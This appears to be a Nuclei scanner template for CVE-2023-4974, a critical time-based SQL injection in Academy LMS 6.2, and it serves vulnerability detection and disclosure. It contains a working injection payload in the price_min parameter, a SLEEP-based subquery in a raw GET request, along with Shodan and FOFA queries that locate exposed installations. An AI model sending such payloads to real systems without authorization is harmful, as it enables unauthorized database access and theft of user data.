CVE-2023-4974: Academy LMS 6.2 - SQL Injection

id: CVE-2023-4974

info:
  name: Academy LMS 6.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    A vulnerability was found in Academy LMS 6.2. It has been rated as critical. Affected by this issue is some unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument price_min/price_max leads to sql injection. The attack may be launched remotely. VDB-239750 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive database information including user credentials and payment data.
  remediation: |
    Update Academy LMS to version 6.3 or later which includes proper SQL injection prevention.
  reference:
    - https://demo.creativeitem.com/academy/
    - https://packetstormsecurity.com/files/174681/Academy-LMS-6.2-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4974
    - http://packetstormsecurity.com/files/174681/Academy-LMS-6.2-SQL-Injection.html
    - https://vuldb.com/?ctiid.239750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4974
    cwe-id: CWE-89
    epss-score: 0.0526
    epss-percentile: 0.92126
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query:
      - html:"Academy LMS"
      - http.html:"academy lms"
    fofa-query: body="academy lms"
  tags: time-based-sqli,cve,cve2023,packetstorm,sqli,academy,lms,creativeitem,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /tutor/filter?searched_word=&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - status_code == 500
          - contains(body, "Courses</span>")
        condition: and
# digest: 490a0046304402200b2c4bbe881fa3d4255cdc5f1b5a0ea5821fa0b79462c4bf8da7ffeba2859f79022023fb0d212c54fc9e18a453720ba13b9f1410aec2edfef3bbf806033c7f264f8d:922c64590222798bb761d5b6d8e72950

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